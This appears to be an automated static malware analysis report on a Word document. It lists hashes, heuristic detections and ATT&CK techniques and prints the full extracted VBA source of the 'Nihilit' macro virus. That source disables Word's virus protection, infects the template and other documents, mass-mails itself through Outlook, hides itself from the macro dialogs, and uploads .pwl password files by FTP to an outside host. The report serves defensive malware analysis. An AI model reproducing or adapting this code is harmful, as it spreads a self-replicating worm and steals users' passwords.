Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b6c41a5287e304e6…

MALICIOUS

Office (OLE)

32.5 KB Created: 2001-03-28 19:54:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 8018270a3eebe5d2e3b311c4b2631c83 SHA-1: 922a43785c5f4fe7bfc05a78755cee2a8a4b18a2 SHA-256: b6c41a5287e304e6b624ca81d3f08ed22044c02a85ca0f154bdd34f58ad9b599
458 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information T1105 Ingress Tool Transfer

The sample contains legacy WordBasic and VBA macros, including an AutoClose macro that executes a function named 'Nihilit'. This function disables security features, exports a component to 'C:\Windows\Nihilit.drv', saves the document as 'C:\Windows\Nihilit.doc', and attempts to use Outlook to send emails, likely as a propagation mechanism. The presence of 'Shell()' and 'CreateObject()' calls, along with the ClamAV detection of 'Win.Trojan.Psycho-3', strongly indicates malicious intent for downloading and executing further payloads.

Heuristics 11

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    shell "ftp http://members.tripod.com/Nihilit/"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                .VirusProtection = False
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
        Set Ni_msg = Ni_OApp.CreateItem(0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set Ni_OApp = CreateObject("Outlook.Application")
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Ni_msg.Attachments.Add Environ("WINDIR") & "\Nihilit.doc"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://members.tripod.com/Nihilit/A@� In document text (OLE body)
    • http://members.tripod.com/Nihilit/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4169 bytes
SHA-256: 35891f5cb7ce107048917734b211cf6f5be8bf012f1dc14981fd6b0ebb1dc3a7
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Sub AutoClose()
    On Error Resume Next
' Nihilit v2.0 by Necronomikon |[ShadowvX],[Devilport-Systems]
' based on Jackal by WalruS
    Call Nihilit
End Sub
Sub Nihilit()
    On Error Resume Next
        With Options
            .VirusProtection = False
            .ConfirmConversions = False
            .SaveNormalPrompt = False
        End With
    Application.DisplayAlerts = wdAlertsNone
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    If NormalTemplate.VBProject.VBComponents.Item("Nihilit").Name <> "Nihilit" Then
    ActiveDocument.VBProject.VBComponents("Nihilit").Export ("C:\Windows\Nihilit.drv")
    SetAttr "C:\Windows\Nihilit.drv", 6
    End If
    ActiveDocument.SaveAs FileName:="C:\Windows\Nihilit.doc", FileFormat:=wdFormatDocument
    Set Ni_OApp = CreateObject("Outlook.Application")
    Set Ni_Mapi = Ni_OApp.GetNameSpace("MAPI")
    For Each Ni_AddList In Ni_Mapi.AddressLists
    Next
    If Ni_AddList.AddressEntries.Count <> 0 Then
    For Ni_AddListCount = 1 To Ni_AddList.AddressEntries.Count
    Next
    Set Ni_AddListEntry = Ni_AddList.AddressEntries(Ni_AddListCount)
    Set Ni_msg = Ni_OApp.CreateItem(0)
    Ni_msg.To = Ni_AddListEntry.Address
    Ni_msg.Subject = "Check this!!!"
    Ni_msg.Body = "I like this story!!!;o)." + vbCrLf + "Nihilit"
    Ni_msg.Attachments.Add Environ("WINDIR") & "\Nihilit.doc"
    Ni_msg.DeleteAfterSubmit = True
    If Ni_msg.To <> "" Then
    Ni_msg.Send
    End If
    Call InfectDocument
    If Month(Now) = Day(Now) Then Call Pwdstealer
    NormalTemplate.Saved = True
    End If
End Sub

Sub InfectDocument()
    On Error Resume Next
    If ActiveDocument.VBProject.VBComponents.Item("Nihilit").Name <> "Nihilit" Then
    ActiveDocument.VBProject.VBComponents.import ("C:\Windows\Nihilit.drv")
    ActiveDocument.Save
    End If
End Sub

Sub Pwdstealer()
    On Error Resume Next
    With Application.FileSearch
.FileName = "*.pwl"
.LookIn = "c:"
.Execute
For i = 1 To .FoundFiles.Count
shell "ftp http://members.tripod.com/Nihilit/"
shell "nihilit"
shell "killer"
shell "post" & .FoundFiles(i)
shell "bye"
Next i
End With
End Sub

Sub ToolsOptions()
    On Error Resume Next
    Options.VirusProtection = 1
    Options.SaveNormalPrompt = 1
    Dialogs(wdDialogToolsOptions).Show
    Options.VirusProtection = 0
    Options.SaveNormalPrompt = 0
End Sub

Sub ToolsSecurity()
On Error Resume Next
CommandBars("Macro").Controls("Security...").Enabled = True
Dialogs(wdDialogToolsSecurity).Show
CommandBars("Macro").Controls("Security...").Enabled = False
End Sub

Sub FileTemplates()
End Sub

Sub ToolsMacro()
    Call Stealth
    Dialogs(wdDialogToolsMacro).Display
End Sub

Sub ViewVBCode()
    Call Stealth
    ShowVisualBasicEditor = True
End Sub

Sub Stealth()
    On Error Resume Next
    Application.OrganizerDelete Source:=NormalTemplate.Name, _
    Name:="Nihilit", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerDelete Source:=ActiveDocument.Name, _
    Name:="Nihilit", Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Saved = True
    ActiveDocument.Saved = True
End Sub
Sub HelpAbout()
WordBasic.FileNew
    WordBasic.ToggleFull
    WordBasic.DocMaximize
    WordBasic.Font "Comic Sans MS"
    WordBasic.FontSize 60
    WordBasic.Bold
    WordBasic.Insert "Check this!"
    WordBasic.StartOfLine
    WordBasic.CharRight 1, 1
    WordBasic.FormatFont Points:="48", Color:=6
    WordBasic.EndOfLine
    WordBasic.InsertPara
    WordBasic.InsertPara
    WordBasic.FontSize 48
    WordBasic.Insert "Nihilit was coded by Necronomikon."
End Sub

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